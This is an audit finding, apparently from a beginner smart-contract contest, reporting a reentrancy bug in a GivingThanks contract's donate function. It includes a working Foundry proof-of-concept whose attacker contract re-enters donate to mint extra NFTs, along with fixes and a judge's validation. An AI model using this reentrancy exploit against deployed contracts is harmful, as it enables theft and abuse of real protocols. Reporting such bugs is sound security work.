GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

M-02 Reentrancy Vulnerability in `donate` Function Allows Unauthorized Minting of Multiple NFTs

Summary

The GivingThanks::donate function is vulnerable to a reentrancy attack due to improper ordering of state changes and external calls. An attacker can exploit this vulnerability to re-enter the donate function multiple times in a single transaction, minting multiple NFTs without making additional donations. This attack remains possible even after correcting the isVerified function, as the donate function does not follow the Checks-Effects-Interactions (CEI) pattern.

Vulnerability Details

Vulnerable Code:

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
_mint(msg.sender, tokenCounter);
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
}

Issue:

  • The external call to the charity address is made before updating critical state variables like tokenCounter.

  • An attacker-controlled charity contract can implement a fallback function (receive()) that re-enters the donate function.

  • Since state changes occur after the external call, the attacker can repeatedly re-enter donate, minting multiple NFTs.

Proof of Concept:

Note: Before running the test, ensure that the constructor in the GivingThanks contract is corrected to properly initialize the registry variable. Update the constructor on line 16 as follows:

constructor(address _registry) ERC721("DonationReceipt", "DRC") {
- registry = CharityRegistry(msg.sender);
+ registry = CharityRegistry(_registry);
owner = msg.sender;
tokenCounter = 0;
}

The following test demonstrates the reentrancy attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrancyTest is Test {
GivingThanks public charityContract;
CharityRegistry public registryContract;
address public admin;
address public charity;
address public donor;
function setUp() public {
// Initialize addresses
admin = makeAddr("admin");
charity = makeAddr("charity");
donor = makeAddr("donor");
// Deploy the CharityRegistry contract as admin
vm.prank(admin);
registryContract = new CharityRegistry();
// Deploy the GivingThanks contract with the registry address
vm.prank(admin);
charityContract = new GivingThanks(address(registryContract));
// Register and verify the charity
vm.prank(admin);
registryContract.registerCharity(charity);
vm.prank(admin);
registryContract.verifyCharity(charity);
}
function testReentrancyInDonate() public {
// Deploy the reentrant contract
ReentrantContract reentrantContract = new ReentrantContract(charityContract, registryContract);
// Register and verify the ReentrantContract as a charity
vm.prank(admin);
registryContract.registerCharity(address(reentrantContract));
vm.prank(admin);
registryContract.verifyCharity(address(reentrantContract));
// Fund the reentrant contract
vm.deal(address(reentrantContract), 1 ether);
// Start the prank as the reentrant contract
vm.startPrank(address(reentrantContract));
// Attempt to donate to the ReentrantContract itself
charityContract.donate{value: 1 ether}(address(reentrantContract));
// Stop the prank
vm.stopPrank();
// Check if multiple tokens were minted
uint256 attackerTokenBalance = charityContract.balanceOf(address(reentrantContract));
assertTrue(attackerTokenBalance > 1, "Reentrancy attack failed to mint multiple tokens");
assertTrue(attackerTokenBalance == 11, "Reentrancy attack minted too many tokens");
}
}
contract ReentrantContract is IERC721Receiver {
GivingThanks charityContract;
CharityRegistry registryContract;
uint256 counter = 0;
uint256 maxReentrancy = 10; // Set a limit to prevent infinite loops
constructor(GivingThanks _charityContract, CharityRegistry _registryContract) {
charityContract = _charityContract;
registryContract = _registryContract;
}
receive() external payable {
if (counter < maxReentrancy) {
counter++;
// Re-enter the donate function
charityContract.donate{value: 0}(address(this));
}
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Accept the NFT
return IERC721Receiver.onERC721Received.selector;
}
}

Explanation:

  • The ReentrantContract is registered and verified as a charity.

  • When donate is called, the Ether is sent to ReentrantContract, triggering the receive() function.

  • The receive() function re-enters donate, allowing the attacker to mint multiple NFTs without additional donations.

  • The test confirms that 11 NFTs are minted instead of 1.

Note: This attack works even if the isVerified function is correctly implemented, as the vulnerability lies in the ordering of operations within the donate function.

Impact

  • Unauthorized Minting of NFTs: Attackers can mint multiple NFTs without making corresponding donations.

  • Financial Loss: Potential loss of funds if the contract holds Ether or if NFTs have monetary value.

  • State Corruption: Reentrancy can lead to inconsistent state, affecting the contract's integrity.

  • Reputation Damage: Exploitation undermines user trust and platform credibility.

Tools Used

  • Forge (Foundry): For writing and running the test cases.

  • Manual Code Analysis: To identify the improper order of operations.

  • Solidity Documentation: For understanding the behavior of external calls and reentrancy.

Recommendations

  • Apply the Checks-Effects-Interactions Pattern:

    Rearrange the donate function to update state variables before making external calls:

    function donate(address charity) public payable {
    require(registry.isVerified(charity), "Charity not verified");
    + _mint(msg.sender, tokenCounter);
    + string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
    + _setTokenURI(tokenCounter, uri);
    + tokenCounter += 1;
    (bool sent,) = charity.call{value: msg.value}("");
    require(sent, "Failed to send Ether");
    }
  • Use Reentrancy Guards:

    Import OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier to the donate function:

    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    contract GivingThanks is ERC721URIStorage, ReentrancyGuard {
    // ...
    function donate(address charity) public payable nonReentrant {
    // Function body
    }
    }
  • Avoid Calling Untrusted Contracts:

    Consider whether it's necessary to send Ether directly to the charity address or if an alternative mechanism can be used.

  • Implement Access Control:

    Ensure that only legitimate interactions are permitted by enforcing strict access controls and validations.

By applying these recommendations, the contract will prevent reentrancy attacks, ensuring that state changes occur before any external interactions, thus maintaining the contract's integrity and security.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.